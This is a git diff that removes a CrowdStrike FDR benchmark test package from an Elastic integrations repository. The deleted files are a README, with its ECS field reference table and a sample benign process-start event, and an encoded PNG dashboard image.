-| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword |
-| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date |
-| event.dataset | Event dataset | constant_keyword |
-| event.id | Unique ID to describe the event. | keyword |
-| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword |
-| event.module | Event module | constant_keyword |
-| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword |
-| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword |
-| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword |
-| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword |
-| file.Ext.original.name |  | keyword |
-| file.Ext.original.path |  | keyword |
-| file.device | Device that is the source of the file. | keyword |
-| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword |
-| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword |
-| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
-| file.hash.sha256 | SHA256 hash. | keyword |
-| file.inode | Inode representing the file in the filesystem. | keyword |
-| file.name | Name of the file including the extension, without the directory. | keyword |
-| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword |
-| file.path.text | Multi-field of `file.path`. | match_only_text |
-| file.size | File size in bytes. Only relevant when `file.type` is "file". | long |
-| file.type | File type (file, dir, or symlink). | keyword |
-| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword |
-| group.id | Unique identifier for the group on the system/platform. | keyword |
-| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword |
-| host.geo.city_name | City name. | keyword |
-| host.geo.continent_name | Name of the continent. | keyword |
-| host.geo.country_name | Country name. | keyword |
-| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword |
-| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword |
-| host.ip | Host ip addresses. | ip |
-| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword |
-| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword |
-| host.os.version | Operating system version as a raw string. | keyword |
-| input.type |  | keyword |
-| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword |
-| log.offset |  | long |
-| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword |
-| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
-| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword |
-| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword |
-| observer.address |  | keyword |
-| observer.geo.city_name | City name. | keyword |
-| observer.geo.continent_name | Name of the continent. | keyword |
-| observer.geo.country_iso_code | Country ISO code. | keyword |
-| observer.geo.country_name | Country name. | keyword |
-| observer.geo.location | Longitude and latitude. | geo_point |
-| observer.geo.region_iso_code | Region ISO code. | keyword |
-| observer.geo.region_name | Region name. | keyword |
-| observer.ip | IP addresses of the observer. | ip |
-| observer.serial_number | Observer serial number. | keyword |
-| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword |
-| observer.vendor | Vendor name of the observer. | constant_keyword |
-| observer.version | Observer version. | keyword |
-| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword |
-| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
-| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long |
-| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
-| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
-| process.end | The time the process ended. | date |
-| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
-| process.executable | Absolute path to the process executable. | keyword |
-| process.executable.caseless | Multi-field of `process.executable`. | keyword |
-| process.executable.text | Multi-field of `process.executable`. | match_only_text |
-| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long |
-| process.group.id |  | keyword |
-| process.hash.md5 | MD5 hash. | keyword |
-| process.hash.sha256 | SHA256 hash. | keyword |
-| process.name | Process name. Sometimes called program name or similar. | keyword |
-| process.name.caseless | Multi-field of `process.name`. | keyword |
-| process.name.text | Multi-field of `process.name`. | match_only_text |
-| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
-| process.parent.name | Process name. Sometimes called program name or similar. | keyword |
-| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text |
-| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long |
-| process.pid | Process id. | long |
-| process.start | The time the process started. | date |
-| process.thread.id | Thread ID. | long |
-| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword |
-| process.title.text | Multi-field of `process.title`. | match_only_text |
-| process.uptime | Seconds the process has been up. | long |
-| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
-| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
-| related.ip | All of the IPs seen on your event. | ip |
-| related.user | All the user names or other user identifiers seen on the event. | keyword |
-| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
-| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword |
-| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
-| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
-| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
-| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
-| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| source.as.organization.name | Organization name. | keyword |
-| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
-| source.geo.city_name | City name. | keyword |
-| source.geo.continent_name | Name of the continent. | keyword |
-| source.geo.country_iso_code | Country ISO code. | keyword |
-| source.geo.country_name | Country name. | keyword |
-| source.geo.location | Longitude and latitude. | geo_point |
-| source.geo.region_iso_code | Region ISO code. | keyword |
-| source.geo.region_name | Region name. | keyword |
-| source.ip | IP address of the source (IPv4 or IPv6). | ip |
-| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword |
-| source.port | Port of the source. | long |
-| tags | List of keywords used to tag each event. | keyword |
-| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword |
-| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
-| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard |
-| url.original.text | Multi-field of `url.original`. | match_only_text |
-| url.path | Path of the request, such as "/search". | wildcard |
-| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
-| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword |
-| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
-| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
-| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword |
-| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
-| user.email | User email address. | keyword |
-| user.full_name | User's full name, if available. | keyword |
-| user.full_name.text | Multi-field of `user.full_name`. | match_only_text |
-| user.group.id | Unique identifier for the group on the system/platform. | keyword |
-| user.id | Unique identifier of the user. | keyword |
-| user.name | Short name or login of the user. | keyword |
-| user.name.text | Multi-field of `user.name`. | match_only_text |
-
-
-An example event for `fdr` looks as following:
-
-```json
-{
-    "@timestamp": "2020-10-01T09:58:32.519Z",
-    "agent": {
-        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
-        "name": "elastic-agent-67101",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "aws": {
-        "s3": {
-            "bucket": {
-                "name": "elastic-package-crowdstrike-fdr-19614"
-            },
-            "object": {
-                "key": "data"
-            }
-        }
-    },
-    "crowdstrike": {
-        "AuthenticationId": "3783389",
-        "ConfigStateHash": "3998263252",
-        "EffectiveTransmissionClass": "3",
-        "Entitlements": "15",
-        "ImageSubsystem": "2",
-        "IntegrityLevel": "4096",
-        "MD5HashData": "50d5fd1290d94d46acca0585311e74d5",
-        "ParentAuthenticationId": "3783389",
-        "ProcessCreateFlags": "525332",
-        "ProcessParameterFlags": "16385",
-        "ProcessSxsFlags": "1600",
-        "RpcClientProcessId": "2439558094566",
-        "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-        "SessionId": "1",
-        "SourceProcessId": "2439558094566",
-        "SourceThreadId": "77538684027214",
-        "Tags": [
-            "41",
-            "12094627905582",
-            "12094627906234"
-        ],
-        "TokenType": "2",
-        "WindowFlags": "128",
-        "cid": "ffffffff30a3407dae27d0503611022d",
-        "id": "ffffffff-1111-11eb-8462-02ade3b2f949",
-        "info": {
-            "host": {
-                "AgentLoadFlags": "1",
-                "AgentLocalTime": "1697775225",
-                "AgentTimeOffset": "15889.017",
-                "AgentVersion": "7.01.13922.0",
-                "BiosManufacturer": "Iris",
-                "BiosVersion": "vG17V.21040423/z64",
-                "ChassisType": "Other",
-                "City": "Chicago",
-                "ConfigBuild": "1007.3.0017312.1",
-                "ConfigIDBuild": "13922",
-                "Continent": "North America",
-                "Country": "United States of America",
-                "FalconGroupingTags": "'FalconGroupingTags/AMERICA'",
-                "FirstSeen": "1628678052.0",
-                "HostHiddenStatus": "Visible",
-                "MachineDomain": "groot.org",
-                "OU": "Servers;America;Offices",
-                "PointerSize": "8",
-                "ProductType": "3.0",
-                "ServicePackMajor": "0",
-                "SiteName": "BCL",
-                "SystemManufacturer": "Iris",
-                "SystemProductName": "IrOS",
-                "Time": "1697992719.22",
-                "Timezone": "America/Chicago",
-                "Version": "Windows Server 2021",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "event_platform": "Win"
-            },
-            "user": {
-                "AccountType": "Domain User",
-                "LastLoggedOnHost": "COMPUTER1",
-                "LocalAdminAccess": "No",
-                "LogonInfo": "Domain User Logon",
-                "LogonTime": "1702546155.197",
-                "LogonType": "Interactive",
-                "PasswordLastSet": "1699971198.062",
-                "User": "DOMAIN\\BRADLEYA",
-                "UserIsAdmin": "0",
-                "UserLogonFlags_decimal": "0",
-                "_time": "1702546168.576",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "event_platform": "Win",
-                "monthsincereset": "1.0"
-            }
-        },
-        "name": "ProcessRollup2V18"
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.fdr",
-        "namespace": "27890",
-        "type": "logs"
-    },
-    "device": {
-        "id": "ffffffff655344736aca58d17fb570f0"
-    },
-    "elastic_agent": {
-        "id": "eb2db106-5958-49b5-ae25-c286e62857e1",
-        "snapshot": false,
-        "version": "8.18.0"
-    },
-    "event": {
-        "action": "ProcessRollup2",
-        "agent_id_status": "verified",
-        "category": [
-            "process"
-        ],
-        "created": "2020-10-01T09:58:32.519Z",
-        "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d",
-        "ingested": "2026-02-24T11:51:06Z",
-        "kind": "event",
-        "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1601546312519\"}",
-        "outcome": "success",
-        "type": [
-            "start"
-        ]
-    },
-    "host": {
-        "id": "ffffffff655344736aca58d17fb570f0",
-        "ip": [
-            "16.15.12.10"
-        ],
-        "name": "FEVWSN1-234",
-        "os": {
-            "type": "windows"
-        }
-    },
-    "input": {
-        "type": "aws-s3"
-    },
-    "message": "ProcessRollup2",
-    "observer": {
-        "address": [
-            "67.43.156.14"
-        ],
-        "geo": {
-            "continent_name": "Asia",
-            "country_iso_code": "BT",
-            "country_name": "Bhutan",
-            "location": {
-                "lat": 27.5,
-                "lon": 90.5
-            }
-        },
-        "ip": [
-            "67.43.156.14"
-        ],
-        "serial_number": "ffffffff655344736aca58d17fb570f0",
-        "version": "1007.3.0012309.1"
-    },
-    "process": {
-        "Ext": {
-            "token": {
-                "integrity_level_name": "LOW"
-            }
-        },
-        "args": [
-            "C:\\WINDOWS\\system32\\backgroundTaskHost.exe",
-            "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca"
-        ],
-        "args_count": 2,
-        "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca",
-        "entity_id": "2450046082233",
-        "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe",
-        "hash": {
-            "md5": "50d5fd1290d94d46acca0585311e74d5",
-            "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37"
-        },
-        "name": "backgroundTaskHost.exe",
-        "parent": {
-            "entity_id": "2439558094566",
-            "name": "svchost.exe"
-        },
-        "pid": 22272,
-        "start": "2020-11-08T17:06:21.648Z"
-    },
-    "related": {
-        "hash": [
-            "50d5fd1290d94d46acca0585311e74d5",
-            "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37",
-            "3998263252"
-        ],
-        "hosts": [
-            "FEVWSN1-234",
-            "COMPUTER1"
-        ],
-        "ip": [
-            "67.43.156.14",
-            "16.15.12.10"
-        ],
-        "user": [
-            "Alan-One",
-            "DOMAIN\\BRADLEYA",
-            "S-1-12-1-3697283754-1083485977-2164330645-2516515886"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "forwarded",
-        "crowdstrike-fdr"
-    ],
-    "user": {
-        "domain": "DOMAIN",
-        "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
-        "name": "Alan-One"
-    }
-}
-```
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/crowdstrike-alert-dashboard.png
deleted file mode 100644
index d51391a2939b94ca5b8fdb6ef8aebfdd26280f62..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 791493
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
